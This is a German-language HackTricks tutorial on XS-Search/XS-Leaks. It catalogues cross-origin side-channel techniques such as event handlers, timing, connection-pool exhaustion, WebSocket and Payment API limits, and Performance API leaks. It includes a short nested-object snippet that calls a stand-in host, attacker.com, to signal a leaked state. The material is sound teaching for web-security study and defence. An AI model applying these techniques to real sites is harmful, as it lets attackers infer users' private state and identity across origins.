# XS-Search/XS-Leaks

{{#include ../banners/hacktricks-training.md}}

## Grundinformationen

XS-Search ist eine Methode zur **Extraktion von Informationen über verschiedene Ursprünge** durch Ausnutzung von **Nebenkanalanfälligkeiten**.

Wichtige Komponenten, die an diesem Angriff beteiligt sind:

- **Anfällige Webseite**: Die Zielwebsite, von der Informationen extrahiert werden sollen.
- **Webseite des Angreifers**: Die bösartige Webseite, die vom Angreifer erstellt wurde und die der Opfer besucht, um den Exploit zu hosten.
- **Einbeziehungsmethode**: Die Technik, die verwendet wird, um die anfällige Webseite in die Webseite des Angreifers einzubeziehen (z. B. window.open, iframe, fetch, HTML-Tag mit href usw.).
- **Leak-Technik**: Techniken, die verwendet werden, um Unterschiede im Zustand der anfälligen Webseite basierend auf Informationen zu erkennen, die durch die Einbeziehungsmethode gesammelt wurden.
- **Zustände**: Die beiden potenziellen Bedingungen der anfälligen Webseite, die der Angreifer zu unterscheiden versucht.
- **Erkennbare Unterschiede**: Beobachtbare Variationen, auf die der Angreifer sich verlässt, um den Zustand der anfälligen Webseite abzuleiten.

### Erkennbare Unterschiede

Mehrere Aspekte können analysiert werden, um die Zustände der anfälligen Webseite zu unterscheiden:

- **Statuscode**: Unterscheidung zwischen **verschiedenen HTTP-Antwortstatuscodes** über verschiedene Ursprünge hinweg, wie Serverfehler, Clientfehler oder Authentifizierungsfehler.
- **API-Nutzung**: Identifizierung der **Nutzung von Web-APIs** über Seiten hinweg, die offenbart, ob eine Cross-Origin-Seite eine bestimmte JavaScript-Web-API verwendet.
- **Weiterleitungen**: Erkennung von Navigationen zu verschiedenen Seiten, nicht nur HTTP-Weiterleitungen, sondern auch solche, die durch JavaScript oder HTML ausgelöst werden.
- **Seiteninhalt**: Beobachtung von **Variationen im HTTP-Antwortkörper** oder in Seitenunterressourcen, wie der **Anzahl der eingebetteten Frames** oder Größenunterschieden bei Bildern.
- **HTTP-Header**: Feststellung der Anwesenheit oder möglicherweise des Wertes eines **bestimmten HTTP-Antwortheaders**, einschließlich Header wie X-Frame-Options, Content-Disposition und Cross-Origin-Resource-Policy.
- **Timing**: Wahrnehmung konsistenter Zeitunterschiede zwischen den beiden Zuständen.

### Einbeziehungsmethoden

- **HTML-Elemente**: HTML bietet verschiedene Elemente zur **Einbeziehung von Ressourcen über verschiedene Ursprünge**, wie Stylesheets, Bilder oder Skripte, die den Browser zwingen, eine Nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Frames**: Elemente wie **iframe**, **object** und **embed** können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite **keinen Schutz vor Einbettung** hat, kann JavaScript über die contentWindow-Eigenschaft auf das Fensterobjekt der eingebetteten Ressource zugreifen.
- **Pop-ups**: Die **`window.open`**-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen **Fenster-Handle**, mit dem JavaScript mit Methoden und Eigenschaften gemäß dem SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Einbettungs- und Cookie-Beschränkungen einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein.
- **JavaScript-Anfragen**: JavaScript erlaubt direkte Anfragen an Zielressourcen unter Verwendung von **XMLHttpRequests** oder der **Fetch API**. Diese Methoden bieten eine präzise Kontrolle über die Anfrage, wie z. B. die Entscheidung, HTTP-Weiterleitungen zu folgen.

### Leak-Techniken

- **Ereignis-Handler**: Eine klassische Leak-Technik in XS-Leaks, bei der Ereignis-Handler wie **onload** und **onerror** Einblicke in den Erfolg oder Misserfolg des Ladens von Ressourcen geben.
- **Fehlermeldungen**: JavaScript-Ausnahmen oder spezielle Fehlermeldungsseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen deren Anwesenheit und Abwesenheit bereitstellen.
- **Globale Grenzen**: Physische Einschränkungen eines Browsers, wie Speicherkapazität oder andere durch den Browser durchgesetzte Grenzen, können signalisieren, wenn ein Schwellenwert erreicht ist, und dienen als Leak-Technik.
- **Globaler Zustand**: Erkennbare Interaktionen mit den **globalen Zuständen** der Browser (z. B. die History-Schnittstelle) können ausgenutzt werden. Zum Beispiel kann die **Anzahl der Einträge** im Verlauf eines Browsers Hinweise auf Cross-Origin-Seiten geben.
- **Performance-API**: Diese API bietet **Leistungsdetails der aktuellen Seite**, einschließlich Netzwerkzeit für das Dokument und geladene Ressourcen, die Rückschlüsse auf angeforderte Ressourcen ermöglichen.
- **Lesbare Attribute**: Einige HTML-Attribute sind **über verschiedene Ursprünge hinweg lesbar** und können als Leak-Technik verwendet werden. Zum Beispiel ermöglicht die `window.frame.length`-Eigenschaft JavaScript, die in einer Webseite über verschiedene Ursprünge eingebetteten Frames zu zählen.

## XSinator-Tool & Papier

XSinator ist ein automatisches Tool, um **Browser gegen mehrere bekannte XS-Leaks** zu überprüfen, die in seinem Papier erklärt werden: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)

Sie können **auf das Tool zugreifen unter** [**https://xsinator.com/**](https://xsinator.com/)

> [!WARNING]
> **Ausgeschlossene XS-Leaks**: Wir mussten XS-Leaks ausschließen, die auf **Service-Workern** basieren, da sie andere Leaks in XSinator stören würden. Darüber hinaus haben wir uns entschieden, XS-Leaks auszuschließen, die auf Fehlkonfigurationen und Bugs in einer bestimmten Webanwendung basieren. Zum Beispiel Fehlkonfigurationen bei Cross-Origin Resource Sharing (CORS), postMessage-Leaks oder Cross-Site Scripting. Außerdem haben wir zeitbasierte XS-Leaks ausgeschlossen, da sie oft langsam, laut und ungenau sind.

## **Zeitbasierte Techniken**

Einige der folgenden Techniken werden Zeit als Teil des Prozesses verwenden, um Unterschiede in den möglichen Zuständen der Webseiten zu erkennen. Es gibt verschiedene Möglichkeiten, Zeit in einem Webbrowser zu messen.

**Uhren**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API ermöglicht Entwicklern, hochauflösende Zeitmessungen zu erhalten.\
Es gibt eine beträchtliche Anzahl von APIs, die Angreifer missbrauchen können, um implizite Uhren zu erstellen: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS-Animationen und andere.\
Für weitere Informationen: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## Ereignis-Handler-Techniken

### Onload/Onerror

- **Einbeziehungsmethoden**: Frames, HTML-Elemente
- **Erkennbare Unterschiede**: Statuscode
- **Weitere Informationen**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Zusammenfassung**: Wenn versucht wird, eine Ressource zu laden, werden onerror/onload-Ereignisse ausgelöst, wenn die Ressource erfolgreich/nicht erfolgreich geladen wird, sodass es möglich ist, den Statuscode herauszufinden.
- **Codebeispiel**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)


{{#ref}}
xs-search/cookie-bomb-+-onerror-xs-leak.md
{{#endref}}

Das Codebeispiel versucht, **Skripte von JS** zu **laden**, aber **andere Tags** wie Objekte, Stylesheets, Bilder, Audios könnten ebenfalls verwendet werden. Darüber hinaus ist es auch möglich, das **Tag direkt** einzufügen und die `onload`- und `onerror`-Ereignisse innerhalb des Tags zu deklarieren (anstatt es von JS einzufügen).

Es gibt auch eine skriptlose Version dieses Angriffs:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
In diesem Fall, wenn `example.com/404` nicht gefunden wird, wird `attacker.com/?error` geladen.

### Onload Timing

- **Inclusion Methods**: HTML-Elemente
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Summary:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Es könnten jedoch auch andere Uhren verwendet werden, wie die [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), die Aufgaben identifizieren kann, die länger als 50 ms laufen.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) ein weiteres Beispiel in:

{{#ref}}
xs-search/performance.now-example.md
{{#endref}}

#### Onload Timing + Forced Heavy Task

Diese Technik ist wie die vorherige, aber der **Angreifer** wird auch **eine Aktion erzwingen**, die eine **relevante Zeitspanne** benötigt, wenn die **Antwort positiv oder negativ** ist, und diese Zeit messen.

{{#ref}}
xs-search/performance.now-+-force-heavy-task.md
{{#endref}}

### unload/beforeunload Timing

- **Inclusion Methods**: Frames
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **Summary:** Die [SharedArrayBuffer-Uhr](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Es könnten auch andere Uhren verwendet werden.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

Die Zeit, die benötigt wird, um eine Ressource abzurufen, kann gemessen werden, indem die [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) und [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) Ereignisse genutzt werden. Das **`beforeunload`** Ereignis wird ausgelöst, wenn der Browser dabei ist, zu einer neuen Seite zu navigieren, während das **`unload`** Ereignis auftritt, wenn die Navigation tatsächlich stattfindet. Der Zeitunterschied zwischen diesen beiden Ereignissen kann berechnet werden, um die **Dauer zu bestimmen, die der Browser mit dem Abrufen der Ressource verbracht hat**.

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

- **Inclusion Methods**: Frames
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **Summary:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kann verwendet werden, um zu messen, wie viel Zeit benötigt wird, um eine Anfrage auszuführen. Es könnten auch andere Uhren verwendet werden.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

Es wurde beobachtet, dass in Abwesenheit von [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) die Zeit, die benötigt wird, um eine Seite und ihre Unterressourcen über das Netzwerk zu laden, von einem Angreifer gemessen werden kann. Diese Messung ist typischerweise möglich, da der `onload`-Handler eines iframes nur nach Abschluss des Ladens der Ressourcen und der Ausführung von JavaScript ausgelöst wird. Um die Variabilität zu umgehen, die durch die Ausführung von Skripten eingeführt wird, könnte ein Angreifer das [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) Attribut innerhalb des `<iframe>` verwenden. Die Einbeziehung dieses Attributs schränkt zahlreiche Funktionen ein, insbesondere die Ausführung von JavaScript, wodurch eine Messung ermöglicht wird, die überwiegend von der Netzwerkleistung beeinflusst wird.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload

- **Inclusion Methods**: Frames
- **Detectable Difference**: Seiteninhalt
- **More info**:
- **Summary**: Wenn Sie die Seite so gestalten können, dass sie einen Fehler anzeigt, wenn auf den richtigen Inhalt zugegriffen wird, und sie korrekt lädt, wenn auf beliebigen Inhalt zugegriffen wird, können Sie eine Schleife erstellen, um alle Informationen zu extrahieren, ohne die Zeit zu messen.
- **Code Example**:

Angenommen, Sie können die **Seite** einfügen, die den **geheimen** Inhalt **in einem Iframe** hat.

Sie können den **Opfer dazu bringen, nach** der Datei zu suchen, die "_**flag**_" enthält, indem Sie ein **Iframe** verwenden (zum Beispiel durch Ausnutzung eines CSRF). Innerhalb des Iframes wissen Sie, dass das _**onload-Ereignis**_ **immer mindestens einmal** **ausgeführt wird**. Dann können Sie die **URL** des **iframes** ändern, indem Sie nur den **Inhalt** des **Hash** innerhalb der URL ändern.

Zum Beispiel:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

Wenn die erste URL **erfolgreich geladen wurde**, wird das **onload**-Ereignis **nicht erneut ausgelöst**, wenn der **Hash**-Teil der URL geändert wird. Aber **wenn** die Seite beim **Laden** einen **Fehler** hatte, wird das **onload**-Ereignis **erneut ausgelöst**.

Dann können Sie zwischen einer **korrekt** geladenen Seite oder einer Seite, die beim Zugriff einen **Fehler** hat, **unterscheiden**.

### Javascript-Ausführung

- **Inclusion Methods**: Frames
- **Detectable Difference**: Seiteninhalt
- **More info**:
- **Summary:** Wenn die **Seite** den **sensiblen** Inhalt **zurückgibt**, **oder** einen **Inhalt**, der vom Benutzer **kontrolliert** werden kann. Der Benutzer könnte **gültigen JS-Code im negativen Fall** festlegen, und **jeden Versuch innerhalb von `<script>`**-Tags **laden**, sodass im **negativen** Fall der **Code** des Angreifers **ausgeführt wird**, und in **positiven** Fällen **nichts** ausgeführt wird.
- **Code Example:**


{{#ref}}
xs-search/javascript-execution-xs-leak.md
{{#endref}}

### CORB - Onerror

- **Inclusion Methods**: HTML-Elemente
- **Detectable Difference**: Statuscode & Header
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** ist eine Sicherheitsmaßnahme, die verhindert, dass Webseiten bestimmte sensible Cross-Origin-Ressourcen laden, um sich gegen Angriffe wie **Spectre** zu schützen. Angreifer können jedoch das schützende Verhalten ausnutzen. Wenn eine Antwort, die dem **CORB** unterliegt, einen _**CORB-geschützten**_ `Content-Type` mit `nosniff` und einem `2xx`-Statuscode zurückgibt, entfernt **CORB** den Body und die Header der Antwort. Angreifer, die dies beobachten, können die Kombination aus dem **Statuscode** (der Erfolg oder Fehler anzeigt) und dem `Content-Type` (der angibt, ob es durch **CORB** geschützt ist) ableiten, was zu potenziellen Informationslecks führen kann.
- **Code Example:**

Überprüfen Sie den Link für weitere Informationen über den Angriff.

### onblur

- **Inclusion Methods**: Frames
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Summary**: Sensible Daten aus dem id- oder name-Attribut leaken.
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

Es ist möglich, eine **Seite** innerhalb eines **iframes** zu **laden** und die **`#id_value`** zu verwenden, um die Seite **auf das Element** des iframes mit dem angegebenen zu fokussieren. Wenn dann ein **`onblur`**-Signal ausgelöst wird, existiert das ID-Element.\
Sie können denselben Angriff mit **`portal`**-Tags durchführen.

### postMessage-Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API-Nutzung
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Summary**: Sensible Informationen aus einem postMessage sammeln oder die Anwesenheit von postMessages als Orakel verwenden, um den Status des Benutzers auf der Seite zu kennen.
- **Code Example**: `Any code listening for all postMessages.`

Anwendungen nutzen häufig [`postMessage`-Broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage), um über verschiedene Ursprünge hinweg zu kommunizieren. Diese Methode kann jedoch unbeabsichtigt **sensible Informationen** offenbaren, wenn der `targetOrigin`-Parameter nicht ordnungsgemäß angegeben ist, sodass jedes Fenster die Nachrichten empfangen kann. Darüber hinaus kann der bloße Empfang einer Nachricht als **Orakel** fungieren; bestimmte Nachrichten werden möglicherweise nur an Benutzer gesendet, die angemeldet sind. Daher kann das Vorhandensein oder Fehlen dieser Nachrichten Informationen über den Status oder die Identität des Benutzers offenbaren, z. B. ob sie authentifiziert sind oder nicht.

## Globale Grenztechniken

### WebSocket-API

- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API-Nutzung
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Das Erschöpfen des WebSocket-Verbindungslimits leakt die Anzahl der WebSocket-Verbindungen einer Cross-Origin-Seite.
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)

Es ist möglich zu identifizieren, ob und wie viele **WebSocket-Verbindungen eine Zielseite verwendet**. Dies ermöglicht es einem Angreifer, Anwendungszustände zu erkennen und Informationen zu leaken, die mit der Anzahl der WebSocket-Verbindungen verbunden sind.

Wenn ein **Ursprung** die **maximale Anzahl von WebSocket**-Verbindungsobjekten verwendet, unabhängig von ihrem Verbindungsstatus, führt die Erstellung von **neuen Objekten zu JavaScript-Ausnahmen**. Um diesen Angriff auszuführen, öffnet die Angreifer-Website die Ziel-Website in einem Pop-up oder Iframe und versucht dann, nachdem die Ziel-Webseite geladen wurde, die maximale Anzahl von WebSocket-Verbindungen zu erstellen, die möglich ist. Die **Anzahl der ausgelösten Ausnahmen** ist die **Anzahl der von der Ziel-Website verwendeten WebSocket-Verbindungen**.

### Zahlungs-API

- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API-Nutzung
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Zahlungsanforderung erkennen, da immer nur eine aktiv sein kann.
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

Dieser XS-Leak ermöglicht es einem Angreifer, **zu erkennen, wann eine Cross-Origin-Seite eine Zahlungsanforderung initiiert**.

Da **immer nur eine Zahlungsanforderung aktiv sein kann**, wenn die Ziel-Website die Payment Request API verwendet, werden alle **weiteren Versuche, diese API zu verwenden, fehlschlagen** und eine **JavaScript-Ausnahme** verursachen. Der Angreifer kann dies ausnutzen, indem er **periodisch versucht, die Benutzeroberfläche der Zahlungs-API anzuzeigen**. Wenn ein Versuch eine Ausnahme verursacht, verwendet die Ziel-Website sie derzeit. Der Angreifer kann diese periodischen Versuche verbergen, indem er die Benutzeroberfläche sofort nach der Erstellung schließt.

### Timing des Event-Loops <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

- **Inclusion Methods**:
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Summary:** Messen Sie die Ausführungszeit eines Webs, indem Sie den einsträngigen JS-Event-Loop missbrauchen.
- **Code Example**:


{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}

JavaScript arbeitet mit einem [einsträngigen Event-Loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)-Nebenläufigkeitsmodell, was bedeutet, dass **es immer nur eine Aufgabe gleichzeitig ausführen kann**. Diese Eigenschaft kann ausgenutzt werden, um zu messen, **wie lange Code von einem anderen Ursprung benötigt, um ausgeführt zu werden**. Ein Angreifer kann die Ausführungszeit seines eigenen Codes im Event-Loop messen, indem er kontinuierlich Ereignisse mit festen Eigenschaften dispatcht. Diese Ereignisse werden verarbeitet, wenn der Ereignispool leer ist. Wenn andere Ursprünge ebenfalls Ereignisse an denselben Pool dispatchen, kann ein **Angreifer die Zeit ableiten, die diese externen Ereignisse zur Ausführung benötigen, indem er Verzögerungen bei der Ausführung seiner eigenen Aufgaben beobachtet**. Diese Methode zur Überwachung des Event-Loops auf Verzögerungen kann die Ausführungszeit von Code aus verschiedenen Ursprüngen offenbaren und potenziell sensible Informationen preisgeben.

> [!WARNING]
> Bei einer Ausführungszeitmessung ist es möglich, **Netzwerkfaktoren zu eliminieren**, um **genauere Messungen** zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden.

### Beschäftigter Event-Loop <a href="#busy-event-loop" id="busy-event-loop"></a>

- **Inclusion Methods**:
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Eine Methode zur Messung der Ausführungszeit einer Weboperation besteht darin, absichtlich den Event-Loop eines Threads zu blockieren und dann zu messen, **wie lange es dauert, bis der Event-Loop wieder verfügbar ist**. Durch das Einfügen einer blockierenden Operation (wie einer langen Berechnung oder einem synchronen API-Aufruf) in den Event-Loop und das Überwachen der Zeit, die benötigt wird, damit nachfolgender Code mit der Ausführung beginnt, kann man die Dauer der Aufgaben ableiten, die während der Blockierungszeit im Event-Loop ausgeführt wurden. Diese Technik nutzt die einsträngige Natur des Event-Loops von JavaScript aus, bei dem Aufgaben sequenziell ausgeführt werden, und kann Einblicke in die Leistung oder das Verhalten anderer Operationen geben, die denselben Thread teilen.
- **Code Example**:

Ein wesentlicher Vorteil der Technik zur Messung der Ausführungszeit durch Sperren des Event-Loops besteht darin, dass sie potenziell **Site Isolation** umgeht. **Site Isolation** ist eine Sicherheitsfunktion, die verschiedene Websites in separate Prozesse trennt, um zu verhindern, dass bösartige Websites direkt auf sensible Daten anderer Websites zugreifen. Durch die Beeinflussung der Ausführungszeit eines anderen Ursprungs über den gemeinsamen Event-Loop kann ein Angreifer indirekt Informationen über die Aktivitäten dieses Ursprungs extrahieren. Diese Methode beruht nicht auf dem direkten Zugriff auf die Daten des anderen Ursprungs, sondern beobachtet die Auswirkungen der Aktivitäten dieses Ursprungs auf den gemeinsamen Event-Loop und umgeht so die Schutzbarrieren, die durch **Site Isolation** eingerichtet wurden.

> [!WARNING]
> Bei einer Ausführungszeitmessung ist es möglich, **Netzwerkfaktoren zu eliminieren**, um **genauere Messungen** zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden.

### Verbindungs-Pool

- **Inclusion Methods**: JavaScript-Anfragen
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Ein Angreifer könnte alle Sockets außer 1 sperren, die Ziel-Webseite laden und gleichzeitig eine andere Seite laden. Die Zeit, bis die letzte Seite zu laden beginnt, ist die Zeit, die die Zielseite zum Laden benötigt hat.
- **Code Example**:


{{#ref}}
xs-search/connection-pool-example.md
{{#endref}}

Browser verwenden Sockets für die Serverkommunikation, aber aufgrund der begrenzten Ressourcen des Betriebssystems und der Hardware sind **Browser gezwungen, ein Limit** für die Anzahl der gleichzeitigen Sockets festzulegen. Angreifer können diese Einschränkung durch die folgenden Schritte ausnutzen:

1. Bestimmen Sie das Socket-Limit des Browsers, zum Beispiel 256 globale Sockets.
2. Besetzen Sie 255 Sockets für eine längere Dauer, indem Sie 255 Anfragen an verschiedene Hosts initiieren, die darauf ausgelegt sind, die Verbindungen offen zu halten, ohne sie abzuschließen.
3. Verwenden Sie den 256. Socket, um eine Anfrage an die Zielseite zu senden.
4. Versuchen Sie eine 257. Anfrage an einen anderen Host. Da alle Sockets in Verwendung sind (gemäß den Schritten 2 und 3), wird diese Anfrage in die Warteschlange gestellt, bis ein Socket verfügbar wird. Die Verzögerung, bevor diese Anfrage fortgesetzt wird, liefert dem Angreifer zeitliche Informationen über die Netzwerkaktivität, die mit dem 256. Socket (dem Socket der Zielseite) verbunden ist. Diese Schlussfolgerung ist möglich, da die 255 Sockets aus Schritt 2 weiterhin beschäftigt sind, was bedeutet, dass jeder neu verfügbare Socket derjenige sein muss, der aus Schritt 3 freigegeben wurde. Die Zeit, die benötigt wird, damit der 256. Socket verfügbar wird, ist somit direkt mit der Zeit verbunden, die benötigt wird, um die Anfrage an die Zielseite abzuschließen.

Für weitere Informationen: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)

### Verbindungs-Pool nach Ziel

- **Inclusion Methods**: JavaScript-Anfragen
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
- **More info**:
- **Summary:** Es ist wie die vorherige Technik, aber anstatt alle Sockets zu verwenden, setzt Google **Chrome** ein Limit von **6 gleichzeitigen Anfragen an denselben Ursprung**. Wenn wir **5 blockieren** und dann eine **6.** Anfrage starten, können wir sie **zeitlich messen**. Wenn es uns gelingt, die **Opferseite dazu zu bringen, mehr** **Anfragen** an denselben Endpunkt zu senden, um einen **Status** der **Seite** zu erkennen, wird die **6. Anfrage** **länger** dauern und wir können dies erkennen.

## Performance-API-Techniken

Die [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bietet Einblicke in die Leistungskennzahlen von Webanwendungen, die durch die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) weiter bereichert werden. Die Resource Timing API ermöglicht die Überwachung detaillierter Netzwerk-Anfragezeiten, wie z. B. die Dauer der Anfragen. Wenn Server den Header `Timing-Allow-Origin: *` in ihren Antworten einfügen, werden zusätzliche Daten wie die Übertragungsgröße und die Domain-Lookup-Zeit verfügbar.

Diese Fülle von Daten kann über Methoden wie [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) oder [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) abgerufen werden, die einen umfassenden Überblick über leistungsbezogene Informationen bieten. Darüber hinaus ermöglicht die API die Messung von Ausführungszeiten, indem die Differenz zwischen Zeitstempeln berechnet wird, die von [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) erhalten werden. Es ist jedoch zu beachten, dass die Präzision von `performance.now()` bei bestimmten Operationen in Browsern wie Chrome auf Millisekunden beschränkt sein kann, was die Granularität der Zeitmessungen beeinträchtigen könnte.

Neben Zeitmessungen kann die Performance-API auch für sicherheitsrelevante Einblicke genutzt werden. Beispielsweise kann das Vorhandensein oder Fehlen von Seiten im `performance`-Objekt in Chrome auf die Anwendung von `X-Frame-Options` hinweisen. Insbesondere wird eine Seite, die aufgrund von `X-Frame-Options` daran gehindert wird, in einem Frame gerendert zu werden, nicht im `performance`-Objekt aufgezeichnet, was einen subtilen Hinweis auf die Rahmenrichtlinien der Seite gibt.

### Fehler-Leak

- **Inclusion Methods**: Frames, HTML-Elemente
- **Detectable Difference**: Statuscode
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Eine Anfrage, die zu Fehlern führt, erstellt keinen Ressourcenzugangseintrag.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

Es ist möglich, **zwischen HTTP-Antwortstatuscodes zu unterscheiden**, da Anfragen, die zu einem **Fehler** führen, **keinen Leistungszugangseintrag** erstellen.

### Stil-Neuladefehler

- **Inclusion Methods**: HTML-Elemente
- **Detectable Difference**: Statuscode
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Aufgrund eines Browserfehlers werden Anfragen, die zu Fehlern führen, zweimal geladen.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

In der vorherigen Technik wurden auch zwei Fälle identifiziert, in denen Browserfehler im GC dazu führen, dass **Ressourcen zweimal geladen werden, wenn sie nicht geladen werden können**. Dies führt zu mehreren Einträgen in der Performance-API und kann somit erkannt werden.

### Anfrage-Merging-Fehler

- **Inclusion Methods**: HTML-Elemente
- **Detectable Difference**: Statuscode
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Anfragen, die zu einem Fehler führen, können nicht zusammengeführt werden.
